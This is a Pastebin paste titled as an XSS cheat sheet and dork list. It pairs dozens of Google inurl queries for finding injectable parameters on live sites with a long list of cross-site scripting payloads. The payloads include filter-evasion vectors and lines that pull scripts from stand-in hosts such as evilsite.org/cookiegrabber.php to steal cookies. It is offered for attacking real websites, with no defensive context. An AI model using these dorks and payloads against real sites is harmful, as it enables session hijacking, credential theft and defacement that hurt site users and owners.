API tools faq
paste
Advertisement
lollhosh

xss cross scripting cheats and dork list

lollhosh
Oct 6th, 2018
267
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.90 KB | None | 0 0
raw download clone embed print report
  1.  
  2. :Dorks:
  3. inurl:search.php?
  4. inurl:find.php?
  5. inurl:search.html
  6. inurl:find.html
  7. inurl:search.aspx
  8. inurl:find.aspx
  9. inurl:".php?cmd="
  10. inurl:".php?z="
  11. inurl:".php?q="
  12. inurl:".php?search="
  13. inurl:".php?query="
  14. inurl:".php?searchstring="
  15. inurl:".php?keyword="
  16. inurl:".php?file="
  17. inurl:".php?years="
  18. inurl:".php?txt="
  19. inurl:".php?tag="
  20. inurl:".php?max="
  21. inurl:".php?from="
  22. inurl:".php?author="
  23. inurl:".php?pass="
  24. inurl:".php?feedback="
  25. inurl:".php?mail="
  26. inurl:".php?cat="
  27. inurl:".php?vote="
  28. inurl:search.php?q=
  29. inurl:com_feedpostold/feedpost.php?url=
  30. inurl:scrapbook.php?id=
  31. inurl:headersearch.php?sid=
  32. inurl:/poll/default.asp?catid=
  33. inurl:/search_results.php?search=
  34. inurl:com_feedpostold/feedpost.php?url=
  35. inurl:/products/orkutclone/scrapbook.php?id=
  36. inurl:/products/classified/headersearch.php?sid=
  37. inurl:/poll/default.asp?catid=
  38. inurl:/search_results.php?search=Search&k=
  39. /preaspjobboard//Employee/emp_login.asp?msg1=
  40. pages/match_report.php?mid= pages/match_report.php?mid=
  41. /notice.php?msg= /notice.php?msg=
  42. /gen_confirm.php?errmsg= /gen_confirm.php?errmsg=
  43. /index.php?option=com_easygb&Itemid=
  44. /2wayvideochat/index.php?r=
  45. /view.php?PID= /view.php?PID=
  46. /Property-Cpanel.html?pid= /Property-Cpanel.html?pid=
  47. /showproperty.php?id= /showproperty.php?id=
  48. /vehicle/buy_do_search/?order_direction=
  49. /elms/subscribe.php?course_id= /elms/subscribe.php?course_id=
  50. /winners.php?year=2008&type= /winners.php?year=2008&type=
  51. /schoolmv2/html/studentmain.php?*******=
  52. /site_search.php?sfunction= /site_search.php?sfunction=
  53. /search.php?search_keywords= /search.php?search_keywords=
  54. /hexjector.php?site= /hexjector.php?site=
  55. /news.php?id= /news.php?id=
  56. /index.php?view=help&faq=1&ref=
  57. inurl:"contentPage.php?id="
  58. inurl:"displayResource.php?id="
  59. intext:"Website by Mile High Creative"
  60. /index.php?option=com_reservations&task=askope&nidser=2&namser="com_reservations"
  61. /info.asp?page=fullstory&key=1&news_type=news&onvan=
  62. /ser/parohija.php?id= /ser/parohija.php?id=
  63. /strane/pas.php?id= /strane/pas.php?id=
  64. /main.php?sid= /main.php?sid=
  65.  
  66. :Cheats:
  67.  
  68.  
  69. PHP:
  70.  
  71. '';!--"<XSS>=&{()}
  72.  
  73. '>//\\,<'>">">"*"
  74.  
  75. '); alert('XSS
  76.  
  77. <script>alert(1);</script>
  78.  
  79. <script>alert('XSS');</script>
  80.  
  81. <IMG SRC="javascript:alert('XSS');">
  82.  
  83. <IMG SRC=javascript:alert('XSS')>
  84.  
  85. <IMG SRC=JaVaScRiPt:alert('XSS')>
  86.  
  87. <IMG SRC=javascript:alert(&quot;XSS&quot;)>
  88.  
  89. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  90.  
  91. <script src="http://www.evilsite.org/cookiegrabber.php"></script>
  92.  
  93. <script>location.href="http://www.evilsite.org/cookiegrabber.p ... e)</script>
  94.  
  95. <scr<script>ipt>alert('XSS');</scr</script>ipt>
  96.  
  97. <script>alert(String.fromCharCode(88,83,83))</script>
  98.  
  99. <img src=foo.png onerror=alert(/xssed/) />
  100.  
  101. <style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>
  102.  
  103. <? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?>
  104.  
  105. <marquee><script>alert('XSS')</script></marquee>
  106.  
  107. <IMG SRC=\"jav ascript:alert('XSS');\">
  108.  
  109. <IMG SRC=\"jav
  110. ascript:alert('XSS');\">
  111.  
  112. <IMG SRC=\"jav
  113. ascript:alert('XSS');\">
  114.  
  115. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  116.  
  117. "><script>alert(0)</script>
  118.  
  119. <script src=http://yoursite.com/your_files.js></script>
  120.  
  121. </title><script>alert(/xss/)</script>
  122.  
  123. </textarea><script>alert(/xss/)</script>
  124.  
  125. <IMG LOWSRC=\"javascript:alert('XSS')\">
  126.  
  127. <IMG DYNSRC=\"javascript:alert('XSS')\">
  128.  
  129. <font style='color:expression(alert(document.cookie))'>
  130.  
  131. <img src="javascript:alert('XSS')">
  132.  
  133. <script language="JavaScript">alert('XSS')</script>
  134.  
  135. <body onunload="javascript:alert('XSS');">
  136.  
  137. <body onLoad="alert('XSS');"
  138.  
  139. [color=red' onmouseover="alert('xss')"]mouse over[/color]
  140.  
  141. "/></a></><img src=1.gif onerror=alert(1)>
  142.  
  143. window.alert("Bonjour !");
  144.  
  145. <div style="x:expression((window.r==1)?'':eval('r=1;
  146.  
  147. alert(String.fromCharCode(88,83,83));'))">
  148.  
  149. <iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
  150.  
  151. "><script alert(String.fromCharCode(88,83,83))</script>
  152.  
  153. '>><marquee><h1>XSS</h1></marquee>
  154.  
  155. '">><script>alert('XSS')</script>
  156.  
  157. '">><marquee><h1>XSS</h1></marquee>
  158.  
  159. <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">
  160.  
  161. <META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">
  162.  
  163. <script>var var = 1; alert(var)</script>
  164.  
  165. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
  166.  
  167. <?='<SCRIPT>alert("XSS")</SCRIPT>'?>
  168.  
  169. <IMG SRC='vbscript:msgbox(\"XSS\")'>
  170.  
  171. " onfocus=alert(document.domain) "> <"
  172.  
  173. <FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>
  174.  
  175. <STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS
  176.  
  177. perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out
  178.  
  179. perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out
  180.  
  181. <br size=\"&{alert('XSS')}\">
  182.  
  183. <scrscriptipt>alert(1)</scrscriptipt>
  184.  
  185. </br style=a:expression(alert())>
  186.  
  187. </script><script>alert(1)</script>
  188.  
  189. "><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
  190.  
  191. [color]
  192.  
  193. <BASE HREF="javascript:alert('XSS');//">
  194.  
  195. Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
  196.  
  197. "></iframe><script>alert(123)</script>
  198.  
  199. <body onLoad="while(true) alert('XSS');">
  200.  
  201. '"></title><script>alert(1111)</script>
  202.  
  203. </textarea>'"><script>alert(document.cookie)</script>
  204.  
  205. '""><script language="JavaScript"> alert('X \nS \nS');</script>
  206.  
  207. </script></script><<<<script><>>>><<<script>alert(123)</script>
  208.  
  209. <html><noalert><noscript>(123)</noscript><script>(123)</script>
  210.  
  211. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
  212.  
  213. '></select><script>alert(123)</script>
  214.  
  215. '>"><script src = 'http://www.site.com/XSS.js'></script>
  216.  
  217. }</style><script>a=eval;b=alert;a(b(/XSS/.source));</script>
  218.  
  219. <SCRIPT>document.write("XSS");</SCRIPT>
  220.  
  221. a="get";b="URL";c="javascript:";d="alert('xss');";eval(a+b+c+d);
  222.  
  223. ='><script>alert("xss")</script>
  224.  
  225. <script+src=">"+src="http://yoursite.com/xss.js?69,69"></script>
  226.  
  227. <body background=javascript:'"><script>alert(navigator.userAgent)</script>></body>
  228.  
  229. ">/XaDoS/><script>alert(document.cookie)</script><script src="http://www.site.com/XSS.js"></script>
  230.  
  231. ">/KinG-InFeT.NeT/><script>alert(document.cookie)</script>
  232.  
  233. src="http://www.site.com/XSS.js"></script>
  234.  
  235. data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4=
  236.  
  237. !--" /><script>alert('xss');</script>
  238.  
  239. <script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
  240.  
  241. "><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
  242.  
  243. '"></title><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
  244.  
  245. <img """><script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
  246.  
  247. <script>alert(1337)</script><marquee><h1>XSS by xss</h1></marquee>
  248.  
  249. "><script>alert(1337)</script>"><script>alert("XSS by \nxss</h1></marquee>
  250.  
  251. '"></title><script>alert(1337)</script>><marquee><h1>XSS by xss</h1></marquee>
  252.  
  253. <iframe src="javascript:alert('XSS by \nxss');"></iframe><marquee><h1>XSS by xss</h1></marquee>
  254.  
  255.  
  256. credits:Laughingman
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!